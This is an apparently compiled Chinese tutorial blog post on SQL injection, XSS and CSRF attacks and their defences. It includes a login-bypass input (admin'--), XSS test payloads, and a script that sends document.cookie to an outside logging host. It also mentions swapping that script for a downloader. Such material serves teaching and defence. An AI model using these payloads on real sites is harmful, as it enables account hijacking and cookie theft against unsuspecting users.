最近学习了网络攻击。
下面讲讲网络攻击的手段。
一、SQL注入（部分内容转自：http://blog.csdn.net/daiyan_csdn/article/details/51647330）
看字面意思就应该可以知道这是一种基于数据库的攻击。
那么是怎么实现的呢？
这是一个简单的注册登录界面。
正常的用户会输入用户名和密码。但是攻击者就不会这样做，那么他们会怎么输入呢？
用户名为：用户名：admin’—，密码可随便输入。
那么为什么会成功呢？
咱们看一下最后拼接的SQL语句：
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
在数据库中“--”符号代表后面内容是注释，因为UserName值中输入了“--”注释符，后面语句被省略而登录成功。
看一下SQL注入的定义：
所谓SQL注入式攻击，就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。在某些表单中，用户输入的内容直接用来构造（或者影响）动态SQL命令，或作为存储过程的输入参数，这类表单特别容易受到SQL注入式攻击。
那么怎么防止这种攻击呢？
1.（简单又有效的方法）PreparedStatement
其原因就是：采用了PreparedStatement，就会将sql语句："select id, no from user where id=?" 预先编译好，也就是SQL引擎会预先进行语法分析，产生语法树，
生成执行计划，也就是说，后面你输入的参数，无论你输入的是什么，都不会影响该sql语句的 语法结构了，因为语法分析已经完成了，而语法分析主要是分析sql命令，比如
select ,from ,where ,and, or ,order by 等等。所以即使你后面输入了这些sql命令，也不会被当成sql命令来执行了，因为这些sql命令的执行， 必须先的通过语法
分析，生成执行计划，既然语法分析已经完成，已经预编译过了，那么后面输入的参数，是绝对不可能作为sql命令来执行的，只会被当做字符串字面值参数。
所以sql语句预编译可以防御sql注入。
2、在jsp等页面进行输入字符串检测过滤。
3、在后端对接收的参数进行校验，比如采用正则表达式检测输入用户名只能包含所规定的集中字符形式。
二、XSS攻击（部分内容转自：http://blog.csdn.net/ghsau/article/details/17027893）
XSS跨站脚本攻击的基本原理和SQL 注入攻击类似（个人观点），都是利用系统执行了未经过滤的危险代码，不同点在于XSS是一种基于网页脚本的注入方式，也就是将脚本攻击载荷写入网页执行以达到对网页客户端访问用户攻击的目的，属于客户端攻击。而SQL注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句从而操纵数据库，从而进一步探测、操纵数据库信息。
1、最常见的最经典的XSS bug检测语句必然是
<script>alert(/XSS/)</script> ①
比如在存在XSS bug的留言板上写上留言①,当访问留言板网页时会弹出对话框。
这表明我们输入的语句被原样写入的网页并被浏览器执行了.那么我们就有机会执行我们的脚本攻击载荷:
<script src = http://www.labsecurity.org/xssbug.js></script>
在我们的网络空间上的xssbug.js代码可以是
Var img = document.createElement(“img”);
Img.src = “http://www.labsecurity.org/log?”+escape(document.cookie);
document.body.appendChild(img);
如果我们如上代码顺利执行,那么被攻击者在目标网站的登录cookie就写进了log.得到其cookie后,进行浏览器重新发包就可以以被攻击者身份登录目标网站.(被攻击者可以是普通用户也可以使网站超级管理员).
将窃取cookie的代码换成下载者地址就可以将下载者下载到存在下载者攻击漏洞的用户电脑上.
2、利用IMG图片标记属性跨站
当然也可以像上面所说的在留言板中输入
<img src=”javacript:alert(/XSS/)”></img>
在用户上传图片时将图片路径修改为一段可执行的XSS测试脚本.
如果存在XSS漏洞那么此类脚本就会被执行.这类脚本要闭合双引号”>”等.
如何防范：
1、需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。
假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。
|
less-than character (<) |
< |
|
greater-than character (>) |
> |
|
ampersand character (&) |
& |
|
double-quote character (") |
" |
|
space character( ) |
|
|
Any ASCII code character whose code is greater-than or equal to 0x80 |
&#<number>, where <number> is the ASCII character value. |
比如用户输入：<script>window.location.href=”http://www.baidu.com”;</script>，保存后最终存储的会是：
<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示，
而不是一段可执行的代码。
2、在输出方面，在用户输内容中使用<XMP>标签。标签内的内容不会解释，直接显示。
3、严格执行字符输入字数控制。
4、在脚本执行区中，应绝无用户输入。
（转自：http://www.cnblogs.com/shytong/p/5308667.html）
1、CSRF是什么呢？CSRF全名是Cross-site request forgery，是一种对网站的恶意利用，CSRF比XSS更具危险性。想要深入理解CSRF的攻击特性我们有必要了解一下网站session的工作原理。
session我想大家都不陌生，无论你用.net或PHP开发过网站的都肯定用过session对象，然而session它是如何工作的呢？如果你不清楚请往下看。
先问个小问题：如果我把浏览器的cookie禁用了，大家认为session还能正常工作吗？
答案是否定的，我在这边举个简单的例子帮助大家理解session。
比如我买了一张高尔夫俱乐部的会员卡，俱乐部给了我一张带有卡号的会员卡。我能享受哪些权利（比如我是高级会员卡可以打19洞和后付费喝饮料，而初级会员卡只能在练习场挥杆）以及我的个人资料都是保存在高尔夫俱乐部的数据库里的。我每次去高尔夫俱乐部只需要出示这张高级会员卡，俱乐部就知道我是谁了，并且为我服务了。
这里我们的高级会员卡卡号 = 保存在cookie的sessionid；
而我的高级会员卡权利和个人信息就是服务端的session对象了。
我们知道http请求是无状态的，也就是说每次http请求都是独立的无关之前的操作的，但是每次http请求都会将本域下的所有cookie作为http请求头的一部分发送给服务端，所以服务端就根据请求中的cookie存放的sessionid去session对象中找到该会员资料了。
当然session的保存方法多种多样，可以保存在文件中，也可以内存里，考虑到分布式的横向扩展我们还是建议把它保存在第三方媒介中，比如redis或者mongodb。
我们理解了session的工作机制后，CSRF也就很容易理解了。CSRF攻击就相当于恶意用户A复制了我的高级会员卡，哪天恶意用户A也可以拿着这张假冒的高级会员卡去高尔夫俱乐部打19洞，享受美味的饮料了，而我在月底就会收到高尔夫俱乐部的账单！
了解CSRF的机制之后，危害性我相信大家已经不言而喻了，我可以伪造某一个用户的身份给其好友发送垃圾信息，这些垃圾信息的超链接可能带有木马程序或者一些欺骗信息（比如借钱之类的），如果CSRF发送的垃圾信息还带有蠕虫链接的话，那些接收到这些有害信息的好友万一打开私信中的连接就也成为了有害信息的散播着，这样数以万计的用户被窃取了资料种植了木马。整个网站的应用就可能在瞬间奔溃，用户投诉，用户流失，公司声誉一落千丈甚至面临倒闭。曾经在MSN上，一个美国的19岁的小伙子Samy利用css的background漏洞几小时内让100多万用户成功的感染了他的蠕虫，虽然这个蠕虫并没有破坏整个应用，只是在每一个用户的签名后面都增加了一句“Samy
是我的偶像”，但是一旦这些漏洞被恶意用户利用，后果将不堪设想，同样的事情也曾经发生在新浪微博上面。
举例：
CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统，类似于钓鱼。如用户当前已经登录了邮箱，或bbs，同时用户又在使用另外一个，已经被你控制的站点，我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你，你去点击一下，此时可能就会触发一个js的点击事件，构造一个bbs发帖的请求，去往你的bbs发帖，由于当前你的浏览器状态已经是登陆状态，所以session登陆cookie信息都会跟正常的请求一样，纯天然的利用当前的登陆状态，让用户在不知情的情况下，帮你发帖或干其他事情。
2、CSRF防御
（1）、通过 referer、token 或者 验证码 来检测用户提交。
（2）尽量不要在页面的链接中暴露用户隐私信息。
（3）对于用户修改删除等操作最好都使用post 操作 。
（4）避免全站通用的cookie，严格设置cookie的域。
另外这篇文章写的也很好，可以参考一下：http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html